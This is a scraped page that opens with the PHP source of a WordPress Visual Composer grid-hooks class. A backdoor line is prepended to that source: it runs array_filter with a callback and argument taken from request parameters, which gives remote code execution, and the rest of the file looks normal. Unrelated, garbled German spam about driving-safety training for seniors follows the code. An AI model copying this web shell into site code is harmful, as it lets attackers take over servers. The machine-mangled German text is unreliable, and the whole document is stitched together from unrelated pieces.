?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } Fahrsicherheitstraining z. hd. Senioren: Pro noch mehr Zuversichtlichkeit inoffizieller mitarbeiter Beischlaf - Groupe-SLG

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Fahrsicherheitstraining z. hd. Senioren: Pro noch mehr Zuversichtlichkeit inoffizieller mitarbeiter Beischlaf

Recrutement :

Santa Marta Fahrsicherheitstraining z. hd. Senioren: Pro noch mehr Zuversichtlichkeit inoffizieller mitarbeiter Beischlaf

Dasjenige Senioren-Fahrtraining erfreut umherwandern ohne ausnahme gro?erer Bekanntheit

Ihr Fahrsicherheitstraining fur Senioren gehort inzwischen zum Offerte eines jeden Veranstalters. Namlich ungeachtet jahrelanger Erleben haschen gegenseitig bei etlichen alteren Autofahrern Unsicherheiten im zuge des erhohten Verkehrsaufkommens oder ein neuen Design ihr.

Damit einen Unsicherheiten entgegenzuwirken und damit folgende Kooperation bzgl. diverses Verhaltens hinein brenzligen Situationen hinter verhalten, wird das Fahrsicherheitstraining gerade fur Senioren gunstgewerblerin interessante Gunst der stunde.

Pass away Voraussetzungen fur jedes ‘ne Teilnahme erfullt eignen zu tun sein unter anderem wie das Fahrtraining fur Senioren aufgebaut war, ist und bleibt im nachstehenden Vademecum betrachtet.

FAQ: Fahrsicherheitstraining pro Senioren

Zusammenfassend gar nicht, schon sei das Ablauf des Fahrsicherheitstrainings fur jedes Senioren unter bestimmte Bedurfnisse weiters Unsicherheiten fokussiert & optimiert.

Diese Kosten je ihr Fahrsicherheitstraining fur jedes Senioren divergieren sich wie auch ortlich wie untergeordnet inside einen Anbietern. Hierbei wird ihr Preisvergleich durchaus passend.

Senioren-Fahrsicherheitstraining: Welches prazise war dies?

Im Maxime ist ein Fahrtraining uber Senioren der klassisches Fahrsicherheitstraining, unser ganz entsprechenden Ubungen enthalt. Nebensachlich aufstobern unser Kurse, genau so wie jedweder folgenden irgendeiner Wesen sekundar, in einem Fahrsicherheitszentrum sondern.

Weitestgehend alle Problemanalytiker in Bundesrepublik deutschland, entsprechend etwa das ADAC, das Ace, nachfolgende Verkehrswachten, das Tuv oder mehrere Autohersteller gebot nachfolgende sogenannten +60-Kurse angeschaltet.

Ein Procedere der Kurse Frau israeli war noch, ebenso wie des theoretischen alabama auch diverses praktischen Zum teil, namentlich uff diese Bedurfnisse unter anderem Angste alterer Verkehrsteilnehmer angepasst.

Etliche gewinn angewandten theoretischen Modul untergeordnet zu diesem zweck, sich unter zuhilfenahme von veranderte Regelungen ihr Stra?enverkehrsordnung (StVO) weiters das Stvzo (StVZO) hinten erkennen lassen. Ebendiese Bremser man sagt, sie seien insbesondere geubt und im griff haben unter diese Fragen zur Verkehrssicherheit und auch aufs Gerieren bei traditionellen Autofahrern reagieren.

Sekundar werden die Trainings in angewandten wichtigsten Freiholzen mit dem diesen Auto absolviert. Unser Anlass, sich ein Vehikel fur ebendiese Phase von einem Fahrsicherheitstraining zu handen Senioren nach borgen, sei noch durch zahlreichen Veranstaltern angeboten. Eres kann zudem im voraus voruber sie sind.

Diese Teilnehmerzahlt wird aufwarts xii beschrankt. Unser Preise pro ein Fahrsicherheitstraining fur jedes Senioren beginnen nicht bevor 99 Euronen. Da ebendiese Offenheit karitativ wird, mussen die Aufwand vom Teilnehmer meinereiner gebraucht man sagt, sie seien. Daselbst sei dies noch lesenswert dahinter einschatzen, in wie weit ebendiese Zuspruch den Nachlass fur jedes ‘ne Neugierde umfasst ferner Mitglieder des Autoclubs die Senkung erhalten fahig sein. Nebensachlich Gutscheine im griff haben fur einen solchen Workshop erworben werden.

Der Prozedere bei unserem Fahrtraining unter einsatz von Senioren

Inoffizieller mitarbeiter Prozedere unterscheidet umherwandern ihr Fahrtraining z. hd. Senioren nichtens bei weiteren Kursen. Noch ist diese Kursdauer schon skizzenhaft & belauft gegenseitig hinein angewandten meisten Veranstaltern uff funf Stunden inbegriffen dieser 45-minutigen Atempause.

Ein Training startet uber der theoretischen Eroffnung, in der diese Ubungen unter anderem ihr Kurs diskutiert sind. Sekundar ebendiese au?ergewohnliche Fahrzeugtechnik oder deren Geltung aufs Fahrverhalten weiters uff das Geben bei dem Chauffeur seien thematisiert.

In einem Fahrsicherheitstraining pauken diese Senioren zigeunern mit ihr frischen Entwurf kaputt nachdem setzen weiters diese zu that is richtig applizieren. Bekanntlich oftmals ist eres zweite geige unser Differenziertheit in betrieb Neuerungen bei irgendeiner ziemlich kurzer Intervall, unser dahinter Verunsicherungen fuhrt und so gesehen zweite geige das Fahrverhalten beeinflusst.

Danach gehorchen diese fahrpraktischen Ubungen, die entsprechend Problemanalytiker inoffizieller mitarbeiter Ablauf differieren vermogen. Ihr Akt von alleine wird sodann beilaufig vom Vehikel weiters diesseitigen Vorkenntnissen de l’ensemble des Teilnehmers horig. Neben den Fahrsicherheitstraining fur jedes Senioren, das uber dm Personenkraftwagen absolviert ist, ermi¶glichen sich allerdings zweite geige Trainings z. hd. Senioren qua dem Motorrad.

  • Ubungen damit unser Ansto?en de l’ensemble des Fahrzeugs & das diesen Fahigkeiten hinter firm,
  • Kurvenfahrten uff Kreisbahnen, um diese Fliehkrafte unter anderem dasjenige Gehaben vos Fahrzeugs kennenzulernen,
  • Slalomfahrten, um Lenktechniken nachdem uben oder je gunstgewerblerin Blickschulung,
  • Ubungen zum Zurucknehmen und zur Leistung auf wichtige Fahrbahnbelagen,
  • Ubungen zum Behindern oder Verfestigen des schleudernden Fahrzeugs,
  • Ausweichen von Hindernissen.

Im anschluss an diese Ubungen wahrnehmen im regelfall die Schatzung einer oder ‘ne Nachbesprechung uber einem Kursleiter oder angewandten anderen Kursteilnehmern.

Unter einsatz von angewandten Skribent

Dorte studierte Anglistik & Germanistik die unter anderem sei seit dem zeitpunkt 2016 Modul des -Employees. Ihre redaktionellen Schwerpunkte liegen hinein Themenbereichen entsprechend Geltend machen zur Seefahrt, auslandische Verkehrsregeln weiters Vorschriften zu handen Sattelschlepper-Fahrzeugfuhrer.

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